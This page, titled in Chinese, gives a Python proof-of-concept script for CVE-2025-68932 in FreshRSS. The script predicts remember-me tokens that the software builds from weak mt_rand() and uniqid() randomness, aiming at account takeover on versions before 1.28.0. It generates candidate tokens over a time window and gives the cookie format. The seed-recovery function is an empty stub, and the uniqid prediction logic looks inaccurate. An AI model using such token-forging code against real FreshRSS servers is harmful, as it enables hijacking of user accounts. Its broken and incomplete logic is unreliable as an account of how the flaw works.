CVE-2025-68932 FreshRSS 弱随机数生成导致账户接管

#!/usr/bin/env python3 """ CVE-2025-68932: FreshRSS Weak Random Number Generation PoC Predicts remember-me tokens generated by mt_rand() and uniqid() Note: This is a conceptual PoC for educational purposes only. """ import time import hashlib def predict_uniqid(prefix='', more_entropy=False): """ Predict uniqid() output based on current timestamp In real attack, attacker would need to narrow down the time window """ t = time.time() uni_id = prefix + hex(int(t))[2:] if more_entropy: uni_id += '.' + hex(int((t % 1) * 100000))[2:] return uni_id def predict_mt_rand_seed(known_outputs): """ Brute force seed prediction from known mt_rand() outputs mt_rand() uses 32-bit seed, brute forceable in reasonable time """ # In real attack, collect multiple remember-me tokens # and use PHP mt_srand() seed recovery techniques pass def generate_fake_token(predicted_random): """ Generate fake remember-me token FreshRSS token format: hash of random values """ return hashlib.sha256(predicted_random.encode()).hexdigest() def attack(target_user_id, time_window_start, time_window_end): """ Main attack function 1. Identify target user 2. Generate candidate tokens for time window 3. Try each token against FreshRSS endpoint """ tokens = [] for t in range(int(time_window_start), int(time_window_end)): predicted_rand = predict_uniqid(prefix=str(t)) token = generate_fake_token(predicted_rand) tokens.append(token) # In real attack, send requests to FreshRSS with each token # Cookie format: remember_me_token={token} return tokens # Example usage if __name__ == "__main__": print("FreshRSS Remember-Me Token Predictor") print("Target: FreshRSS < 1.28.0") print("Vulnerability: mt_rand() and uniqid() weak randomness") print("\n[*] Start token prediction attack...")